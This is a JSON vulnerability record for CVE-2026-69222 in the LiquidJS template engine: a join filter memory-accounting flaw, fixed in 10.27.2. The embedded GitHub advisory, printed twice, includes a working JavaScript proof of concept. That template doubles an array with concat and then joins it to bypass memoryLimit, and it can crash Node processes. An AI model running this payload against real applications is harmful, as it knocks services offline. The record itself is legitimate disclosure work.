{"id":"CVE-2026-69222","aliases":["EUVD-2026-63090","GHSA-4r6h-5v86-94p3"],"status":"published","title":"LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling array_to_sentence_string filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0063,"percentile":0.50528,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2026-08-19T20:51:44Z","modified":"2026-10-28T02:31:07Z","fixes":[{"ecosystem":"npm","package":"liquidjs","fixed_in":["10.27.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"10.27.1"},{"fixed":"10.27.2"}]}]},{"source":"osv","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.27.2"}]}]}],"products":[{"vendor":"harttle","product":"liquidjs"}],"references":[{"url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-4r6h-5v86-94p3","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/harttle/liquidjs/pull/925","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/harttle/liquidjs/commit/7ab49f999ac045ec1e87f3a7a9fd68dd9e8602b3","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/harttle/liquidjs/releases/tag/v10.27.2","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69222","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4r6h-5v86-94p3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69222.json","tags":["advisory"]},{"url":"https://github.com/harttle/liquidjs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-69222","title":"LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling array_to_sentence_string filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.","status":"published","published":"2026-08-19T20:51:44.218Z","modified":"2026-08-21T21:47:58.206Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T13:50:16.178634Z"}],"euvd":[{"id":"EUVD-2026-63090","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling array_to_sentence_string filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.","status":"published","published":"2026-08-19T20:51:44Z","modified":"2026-08-21T21:47:58Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:01:36.505605Z"}],"ghsa":[{"id":"GHSA-4r6h-5v86-94p3","title":"LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process","description":"### Summary\n\nThe `join` filter (`src/filters/array.ts:8-13`) charges `memoryLimit` by array element **count**, not by the string length it produces, letting a template bypass a configured `memoryLimit` and allocate strings far past budget — bounded only by V8/process limits, not by `memoryLimit`.\n\n### Details\n\n```js\n// src/filters/array.ts:8-13\nexport const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {\n  const array = toArray(v)\n  const sep = isNil(arg) ? ' ' : stringify(arg)\n  const complexity = array.length * (1 + sep.length)   // element COUNT, not element sizes\n  this.context.memoryLimit.use(complexity)\n  return array.join(sep)                                // allocates sum(element lengths) + separators\n})\n```\n\n`concat` (`array.ts:72`) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. `join` is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (`array.length`) doesn't reflect that.\n\nSame undercounting class as already-fixed `replace` (GHSA-mmg9-6m6j-jqqx), `replace_first` (GHSA-6q5m-63h6-5x4v), `date`/strftime (GHSA-hh27-hf48-9f5q) — `join` wasn't covered. Sibling `array_to_sentence_string` (`src/filters/string.ts:210`) has the identical defect.\n\n### PoC\n\nLive-reproduced against `liquidjs@10.27.1`, Node v24.3.0.\n\n```javascript\nconst { Liquid } = require('liquidjs');\nconst engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense\n\nconst E = 5000, DOUBLINGS = 13;\nconst chunk = 'a'.repeat(E);\nlet tpl = `{%- assign s = \"${chunk}\" -%}{%- assign a = s | split: \"NOSUCHSEP\" -%}`;\nfor (let i = 0; i \u003c DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -\u003e 8192 elements\ntpl += `{%- assign out = a | join: \"\" -%}{{ out | size }}`;\n\nconst len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked\nconsole.log('output length:', len);  // output length: 40960000\n```\n\nVerified by binary-search on `memoryLimit`: render is **blocked at 29573**, **succeeds at 29574** — confirming total charge across `split`+13×`concat`+`join` is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: **40,960,000** — **1385x** the total charged, \u003e4x the configured 10,000,000-unit limit. Scaling `DOUBLINGS` grows output exponentially for linear charge growth, driving toward gigabytes and a `RangeError: Invalid string length` / V8 OOM crash.\n\n### Impact\n\nAny app rendering attacker-influenced templates with `memoryLimit` set (LiquidJS docs list it as covering \"array concat/join/strftime\") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. `split`/`concat` are correctly charged; the gap is `join`'s own accounting of its own output. (LiquidJS's security-model docs call these limits \"cooperative safeguards, not strict isolation\" — doesn't change that `join`'s charge is wrong relative to what it allocates.)","status":"published","published":"2026-09-08T18:10:35Z","modified":"2026-09-08T18:10:36Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:41:13.477974Z"}],"nvd":[{"id":"CVE-2026-69222","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling array_to_sentence_string filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.","status":"published","published":"2026-08-19T21:17:31.627Z","modified":"2026-09-09T21:19:49.197Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:12:39.962615Z"}],"osv":[{"id":"CVE-2026-69222","title":"LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling array_to_sentence_string filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.","status":"published","published":"2026-08-19T20:51:44.218Z","modified":"2026-10-28T02:31:07.233130476Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:45:15.164658Z"},{"id":"GHSA-4r6h-5v86-94p3","title":"LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process","description":"### Summary\n\nThe `join` filter (`src/filters/array.ts:8-13`) charges `memoryLimit` by array element **count**, not by the string length it produces, letting a template bypass a configured `memoryLimit` and allocate strings far past budget — bounded only by V8/process limits, not by `memoryLimit`.\n\n### Details\n\n```js\n// src/filters/array.ts:8-13\nexport const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {\n  const array = toArray(v)\n  const sep = isNil(arg) ? ' ' : stringify(arg)\n  const complexity = array.length * (1 + sep.length)   // element COUNT, not element sizes\n  this.context.memoryLimit.use(complexity)\n  return array.join(sep)                                // allocates sum(element lengths) + separators\n})\n```\n\n`concat` (`array.ts:72`) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. `join` is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (`array.length`) doesn't reflect that.\n\nSame undercounting class as already-fixed `replace` (GHSA-mmg9-6m6j-jqqx), `replace_first` (GHSA-6q5m-63h6-5x4v), `date`/strftime (GHSA-hh27-hf48-9f5q) — `join` wasn't covered. Sibling `array_to_sentence_string` (`src/filters/string.ts:210`) has the identical defect.\n\n### PoC\n\nLive-reproduced against `liquidjs@10.27.1`, Node v24.3.0.\n\n```javascript\nconst { Liquid } = require('liquidjs');\nconst engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense\n\nconst E = 5000, DOUBLINGS = 13;\nconst chunk = 'a'.repeat(E);\nlet tpl = `{%- assign s = \"${chunk}\" -%}{%- assign a = s | split: \"NOSUCHSEP\" -%}`;\nfor (let i = 0; i \u003c DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -\u003e 8192 elements\ntpl += `{%- assign out = a | join: \"\" -%}{{ out | size }}`;\n\nconst len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked\nconsole.log('output length:', len);  // output length: 40960000\n```\n\nVerified by binary-search on `memoryLimit`: render is **blocked at 29573**, **succeeds at 29574** — confirming total charge across `split`+13×`concat`+`join` is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: **40,960,000** — **1385x** the total charged, \u003e4x the configured 10,000,000-unit limit. Scaling `DOUBLINGS` grows output exponentially for linear charge growth, driving toward gigabytes and a `RangeError: Invalid string length` / V8 OOM crash.\n\n### Impact\n\nAny app rendering attacker-influenced templates with `memoryLimit` set (LiquidJS docs list it as covering \"array concat/join/strftime\") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. `split`/`concat` are correctly charged; the gap is `join`'s own accounting of its own output. (LiquidJS's security-model docs call these limits \"cooperative safeguards, not strict isolation\" — doesn't change that `join`'s charge is wrong relative to what it allocates.)","status":"published","published":"2026-09-08T18:10:35Z","modified":"2026-09-08T18:15:03.989250926Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:37.528068Z"}]}}
